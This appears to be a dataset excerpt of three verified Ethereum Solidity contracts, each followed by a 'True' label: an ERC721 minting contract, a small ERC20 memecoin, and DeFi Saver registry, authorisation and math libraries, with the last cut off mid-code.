uint8 v; bytes32 r; bytes32 s; uint256 nonce; } constructor (string memory name, string memory symbol) ERC721 (name, symbol){ tokenCounter = 1; owner = msg.sender; } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner,newOwner); owner = newOwner; return true; } function verifySign(string memory tokenURI, address caller, Sign memory sign) internal view { bytes32 hash = keccak256(abi.encodePacked(this, caller, tokenURI, sign.nonce)); require(owner == ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign.v, sign.r, sign.s), "Owner sign verification failed"); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param sign struct combination of uint8, bytes32, bytes32 are v, r, s. * @param tokenURI string memory URI of the token to be minted. * @param fee uint256 royalty of the token to be minted. */ function createCollectible(string memory tokenURI, uint256 fee, Sign memory sign) public returns (uint256) { require(!usedNonce[sign.nonce],"Nonce : Invalid Nonce"); usedNonce[sign.nonce] = true; uint256 newItemId = tokenCounter; verifySign(tokenURI, msg.sender, sign); _safeMint(msg.sender, newItemId, fee); _setTokenURI(newItemId, tokenURI); tokenCounter = tokenCounter + 1; return newItemId; } function setBaseURI(string memory _baseURI) public onlyOwner{ _setBaseURI(_baseURI); } function burn(uint256 tokenId) public { require(_exists(tokenId), "ERC721: nonexistent token"); _burn(tokenId); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-06-16 */ pragma solidity ^0.5.2; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract YUA is ERC20, ERC20Detailed, ERC20Burnable { constructor() ERC20Detailed('yuainu.io ~ t.me/yuainu ~ FAIR LAUNCH IN 5 MIN ~ LP LOCK', 'YUA', 0) public { _mint(msg.sender, 10_000); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-03-14 */ // SPDX-License-Identifier: MIT pragma solidity =0.7.6; pragma experimental ABIEncoderV2; abstract contract IManager { function last(address) virtual public returns (uint); function cdpCan(address, uint, address) virtual public view returns (uint); function ilks(uint) virtual public view returns (bytes32); function owns(uint) virtual public view returns (address); function urns(uint) virtual public view returns (address); function vat() virtual public view returns (address); function open(bytes32, address) virtual public returns (uint); function give(uint, address) virtual public; function cdpAllow(uint, address, uint) virtual public; function urnAllow(address, uint) virtual public; function frob(uint, int, int) virtual public; function flux(uint, address, uint) virtual public; function move(uint, address, uint) virtual public; function exit(address, uint, address, uint) virtual public; function quit(uint, address) virtual public; function enter(address, uint) virtual public; function shift(uint, uint) virtual public; } abstract contract IPipInterface { function read() public virtual returns (bytes32); function poke() external virtual; } abstract contract ISpotter { struct Ilk { IPipInterface pip; uint256 mat; } mapping (bytes32 => Ilk) public ilks; uint256 public par; } abstract contract IVat { struct Urn { uint256 ink; // Locked Collateral [wad] uint256 art; // Normalised Debt [wad] } struct Ilk { uint256 Art; // Total Normalised Debt [wad] uint256 rate; // Accumulated Rates [ray] uint256 spot; // Price with Safety Margin [ray] uint256 line; // Debt Ceiling [rad] uint256 dust; // Urn Debt Floor [rad] } mapping (bytes32 => mapping (address => Urn )) public urns; mapping (bytes32 => Ilk) public ilks; mapping (bytes32 => mapping (address => uint)) public gem; // [wad] function can(address, address) virtual public view returns (uint); function dai(address) virtual public view returns (uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function nope(address) virtual public; function move(address, address, uint) virtual public; function fork(bytes32, address, address, int, int) virtual public; } abstract contract IGem { function dec() virtual public returns (uint); function gem() virtual public returns (IGem); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; function approve(address, uint) virtual public; function transfer(address, uint) virtual public returns (bool); function transferFrom(address, address, uint) virtual public returns (bool); function deposit() virtual public payable; function withdraw(uint) virtual public; function allowance(address, address) virtual public returns (uint); } abstract contract IDaiJoin { function vat() public virtual returns (IVat); function dai() public virtual returns (IGem); function join(address, uint) public virtual payable; function exit(address, uint) public virtual; } abstract contract IJug { struct Ilk { uint256 duty; uint256 rho; } mapping (bytes32 => Ilk) public ilks; function drip(bytes32) public virtual returns (uint); } interface ICropper { function proxy(address) view external returns (address); function getOrCreateProxy(address) external returns (address); function join(address, address, uint256) external; function exit(address, address, uint256) external; function flee(address, address, uint256) external; function frob(bytes32, address, address, address, int256, int256) external; function quit(bytes32, address, address) external; } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256 digits); function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } abstract contract IWETH { function allowance(address, address) public virtual view returns (uint256); function balanceOf(address) public virtual view returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom( address, address, uint256 ) public virtual returns (bool); function deposit() public payable virtual; function withdraw(uint256) public virtual; } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /// @dev Edited so it always first approves 0 and then the value, because of non standard tokens function safeApprove( IERC20 token, address spender, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library TokenUtils { using SafeERC20 for IERC20; address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function approveToken( address _tokenAddr, address _to, uint256 _amount ) internal { if (_tokenAddr == ETH_ADDR) return; if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) { IERC20(_tokenAddr).safeApprove(_to, _amount); } } function pullTokensIfNeeded( address _token, address _from, uint256 _amount ) internal returns (uint256) { // handle max uint amount if (_amount == type(uint256).max) { _amount = getBalance(_token, _from); } if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) { IERC20(_token).safeTransferFrom(_from, address(this), _amount); } return _amount; } function withdrawTokens( address _token, address _to, uint256 _amount ) internal returns (uint256) { if (_amount == type(uint256).max) { _amount = getBalance(_token, address(this)); } if (_to != address(0) && _to != address(this) && _amount != 0) { if (_token != ETH_ADDR) { IERC20(_token).safeTransfer(_to, _amount); } else { (bool success, ) = _to.call{value: _amount}(""); require(success, "Eth send fail"); } } return _amount; } function depositWeth(uint256 _amount) internal { IWETH(WETH_ADDR).deposit{value: _amount}(); } function withdrawWeth(uint256 _amount) internal { IWETH(WETH_ADDR).withdraw(_amount); } function getBalance(address _tokenAddr, address _acc) internal view returns (uint256) { if (_tokenAddr == ETH_ADDR) { return _acc.balance; } else { return IERC20(_tokenAddr).balanceOf(_acc); } } function getTokenDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return IERC20(_token).decimals(); } } abstract contract IDFSRegistry { function getAddr(bytes32 _id) public view virtual returns (address); function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public virtual; function startContractChange(bytes32 _id, address _newContractAddr) public virtual; function approveContractChange(bytes32 _id) public virtual; function cancelContractChange(bytes32 _id) public virtual; function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual; } contract MainnetAuthAddresses { address internal constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD; address internal constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; address internal constant ADMIN_ADDR = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; // USED IN ADMIN VAULT CONSTRUCTOR } contract AuthHelper is MainnetAuthAddresses { } contract AdminVault is AuthHelper { address public owner; address public admin; constructor() { owner = msg.sender; admin = ADMIN_ADDR; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function changeOwner(address _owner) public { require(admin == msg.sender, "msg.sender not admin"); owner = _owner; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function changeAdmin(address _admin) public { require(admin == msg.sender, "msg.sender not admin"); admin = _admin; } } contract AdminAuth is AuthHelper { using SafeERC20 for IERC20; AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR); modifier onlyOwner() { require(adminVault.owner() == msg.sender, "msg.sender not owner"); _; } modifier onlyAdmin() { require(adminVault.admin() == msg.sender, "msg.sender not admin"); _; } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(_receiver).transfer(_amount); } else { IERC20(_token).safeTransfer(_receiver, _amount); } } /// @notice Destroy the contract function kill() public onlyAdmin { selfdestruct(payable(msg.sender)); } } contract DefisaverLogger { event LogEvent( address indexed contractAddress, address indexed caller, string indexed logName, bytes data ); // solhint-disable-next-line func-name-mixedcase function Log( address _contract, address _caller, string memory _logName, bytes memory _data ) public { emit LogEvent(_contract, _caller, _logName, _data); } } contract MainnetCoreAddresses { address internal constant DEFI_SAVER_LOGGER_ADDR = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address internal constant REGISTRY_ADDR = 0xD6049E1F5F3EfF1F921f5532aF1A1632bA23929C; address internal constant PROXY_AUTH_ADDR = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF; } contract CoreHelper is MainnetCoreAddresses { } contract DFSRegistry is AdminAuth, CoreHelper { DefisaverLogger public constant logger = DefisaverLogger( DEFI_SAVER_LOGGER_ADDR ); string public constant ERR_ENTRY_ALREADY_EXISTS = "Entry id already exists"; string public constant ERR_ENTRY_NON_EXISTENT = "Entry id doesn't exists"; string public constant ERR_ENTRY_NOT_IN_CHANGE = "Entry not in change process"; string public constant ERR_WAIT_PERIOD_SHORTER = "New wait period must be bigger"; string public constant ERR_CHANGE_NOT_READY = "Change not ready yet"; string public constant ERR_EMPTY_PREV_ADDR = "Previous addr is 0"; string public constant ERR_ALREADY_IN_CONTRACT_CHANGE = "Already in contract change"; string public constant ERR_ALREADY_IN_WAIT_PERIOD_CHANGE = "Already in wait period change"; struct Entry { address contractAddr; uint256 waitPeriod; uint256 changeStartTime; bool inContractChange; bool inWaitPeriodChange; bool exists; } mapping(bytes32 => Entry) public entries; mapping(bytes32 => address) public previousAddresses; mapping(bytes32 => address) public pendingAddresses; mapping(bytes32 => uint256) public pendingWaitTimes; /// @notice Given an contract id returns the registered address /// @dev Id is keccak256 of the contract name /// @param _id Id of contract function getAddr(bytes32 _id) public view returns (address) { return entries[_id].contractAddr; } /// @notice Helper function to easily query if id is registered /// @param _id Id of contract function isRegistered(bytes32 _id) public view returns (bool) { return entries[_id].exists; } /////////////////////////// OWNER ONLY FUNCTIONS /////////////////////////// /// @notice Adds a new contract to the registry /// @param _id Id of contract /// @param _contractAddr Address of the contract /// @param _waitPeriod Amount of time to wait before a contract address can be changed function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public onlyOwner { require(!entries[_id].exists, ERR_ENTRY_ALREADY_EXISTS); entries[_id] = Entry({ contractAddr: _contractAddr, waitPeriod: _waitPeriod, changeStartTime: 0, inContractChange: false, inWaitPeriodChange: false, exists: true }); // Remember tha address so we can revert back to old addr if needed previousAddresses[_id] = _contractAddr; logger.Log( address(this), msg.sender, "AddNewContract", abi.encode(_id, _contractAddr, _waitPeriod) ); } /// @notice Reverts to the previous address immediately /// @dev In case the new version has a fault, a quick way to fallback to the old contract /// @param _id Id of contract function revertToPreviousAddress(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(previousAddresses[_id] != address(0), ERR_EMPTY_PREV_ADDR); address currentAddr = entries[_id].contractAddr; entries[_id].contractAddr = previousAddresses[_id]; logger.Log( address(this), msg.sender, "RevertToPreviousAddress", abi.encode(_id, currentAddr, previousAddresses[_id]) ); } /// @notice Starts an address change for an existing entry /// @dev Can override a change that is currently in progress /// @param _id Id of contract /// @param _newContractAddr Address of the new contract function startContractChange(bytes32 _id, address _newContractAddr) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(!entries[_id].inWaitPeriodChange, ERR_ALREADY_IN_WAIT_PERIOD_CHANGE); entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inContractChange = true; pendingAddresses[_id] = _newContractAddr; logger.Log( address(this), msg.sender, "StartContractChange", abi.encode(_id, entries[_id].contractAddr, _newContractAddr) ); } /// @notice Changes new contract address, correct time must have passed /// @param _id Id of contract function approveContractChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE); require( block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line ERR_CHANGE_NOT_READY ); address oldContractAddr = entries[_id].contractAddr; entries[_id].contractAddr = pendingAddresses[_id]; entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; pendingAddresses[_id] = address(0); previousAddresses[_id] = oldContractAddr; logger.Log( address(this), msg.sender, "ApproveContractChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr) ); } /// @notice Cancel pending change /// @param _id Id of contract function cancelContractChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE); address oldContractAddr = pendingAddresses[_id]; pendingAddresses[_id] = address(0); entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; logger.Log( address(this), msg.sender, "CancelContractChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr) ); } /// @notice Starts the change for waitPeriod /// @param _id Id of contract /// @param _newWaitPeriod New wait time function startWaitPeriodChange(bytes32 _id, uint256 _newWaitPeriod) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(!entries[_id].inContractChange, ERR_ALREADY_IN_CONTRACT_CHANGE); pendingWaitTimes[_id] = _newWaitPeriod; entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inWaitPeriodChange = true; logger.Log( address(this), msg.sender, "StartWaitPeriodChange", abi.encode(_id, _newWaitPeriod) ); } /// @notice Changes new wait period, correct time must have passed /// @param _id Id of contract function approveWaitPeriodChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE); require( block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line ERR_CHANGE_NOT_READY ); uint256 oldWaitTime = entries[_id].waitPeriod; entries[_id].waitPeriod = pendingWaitTimes[_id]; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; pendingWaitTimes[_id] = 0; logger.Log( address(this), msg.sender, "ApproveWaitPeriodChange", abi.encode(_id, oldWaitTime, entries[_id].waitPeriod) ); } /// @notice Cancel wait period change /// @param _id Id of contract function cancelWaitPeriodChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE); uint256 oldWaitPeriod = pendingWaitTimes[_id]; pendingWaitTimes[_id] = 0; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; logger.Log( address(this), msg.sender, "CancelWaitPeriodChange", abi.encode(_id, oldWaitPeriod, entries[_id].waitPeriod) ); } } contract MainnetActionsUtilAddresses { address internal constant DFS_REG_CONTROLLER_ADDR = 0xF8f8B3C98Cf2E63Df3041b73f80F362a4cf3A576; address internal constant REGISTRY_ADDR = 0xD6049E1F5F3EfF1F921f5532aF1A1632bA23929C; address internal constant DFS_LOGGER_ADDR = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; } contract ActionsUtilHelper is MainnetActionsUtilAddresses { } abstract contract ActionBase is AdminAuth, ActionsUtilHelper { DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR); DefisaverLogger public constant logger = DefisaverLogger( DFS_LOGGER_ADDR ); string public constant ERR_SUB_INDEX_VALUE = "Wrong sub index value"; string public constant ERR_RETURN_INDEX_VALUE = "Wrong return index value"; /// @dev Subscription params index range [128, 255] uint8 public constant SUB_MIN_INDEX_VALUE = 128; uint8 public constant SUB_MAX_INDEX_VALUE = 255; /// @dev Return params index range [1, 127] uint8 public constant RETURN_MIN_INDEX_VALUE = 1; uint8 public constant RETURN_MAX_INDEX_VALUE = 127; /// @dev If the input value should not be replaced uint8 public constant NO_PARAM_MAPPING = 0; /// @dev We need to parse Flash loan actions in a different way enum ActionType { FL_ACTION, STANDARD_ACTION, CUSTOM_ACTION } /// @notice Parses inputs and runs the implemented action through a proxy /// @dev Is called by the TaskExecutor chaining actions together /// @param _callData Array of input values each value encoded as bytes /// @param _subData Array of subscribed vales, replaces input values if specified /// @param _paramMapping Array that specifies how return and subscribed values are mapped in input /// @param _returnValues Returns values from actions before, which can be injected in inputs /// @return Returns a bytes32 value through DSProxy, each actions implements what that value is function executeAction( bytes[] memory _callData, bytes[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable virtual returns (bytes32); /// @notice Parses inputs and runs the single implemented action through a proxy /// @dev Used to save gas when executing a single action directly function executeActionDirect(bytes[] memory _callData) public virtual payable; /// @notice Returns the type of action we are implementing function actionType() public pure virtual returns (uint8); //////////////////////////// HELPER METHODS //////////////////////////// /// @notice Given an uint256 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamUint( uint _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (uint) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = uint(_returnValues[getReturnIndex(_mapType)]); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (uint)); } } return _param; } /// @notice Given an addr input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamAddr( address _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (address) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = address(bytes20((_returnValues[getReturnIndex(_mapType)]))); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (address)); } } return _param; } /// @notice Given an bytes32 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamABytes32( bytes32 _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (bytes32) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = (_returnValues[getReturnIndex(_mapType)]); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (bytes32)); } } return _param; } /// @notice Checks if the paramMapping value indicated that we need to inject values /// @param _type Indicated the type of the input function isReplaceable(uint8 _type) internal pure returns (bool) { return _type != NO_PARAM_MAPPING; } /// @notice Checks if the paramMapping value is in the return value range /// @param _type Indicated the type of the input function isReturnInjection(uint8 _type) internal pure returns (bool) { return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in return array value /// @param _type Indicated the type of the input function getReturnIndex(uint8 _type) internal pure returns (uint8) { require(isReturnInjection(_type), ERR_SUB_INDEX_VALUE); return (_type - RETURN_MIN_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in sub array value /// @param _type Indicated the type of the input function getSubIndex(uint8 _type) internal pure returns (uint8) { require(_type >= SUB_MIN_INDEX_VALUE, ERR_RETURN_INDEX_VALUE); return (_type - SUB_MIN_INDEX_VALUE); } } contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, ""); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, ""); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, ""); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } abstract contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view virtual returns (bool); } contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig), "Not authorized"); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := 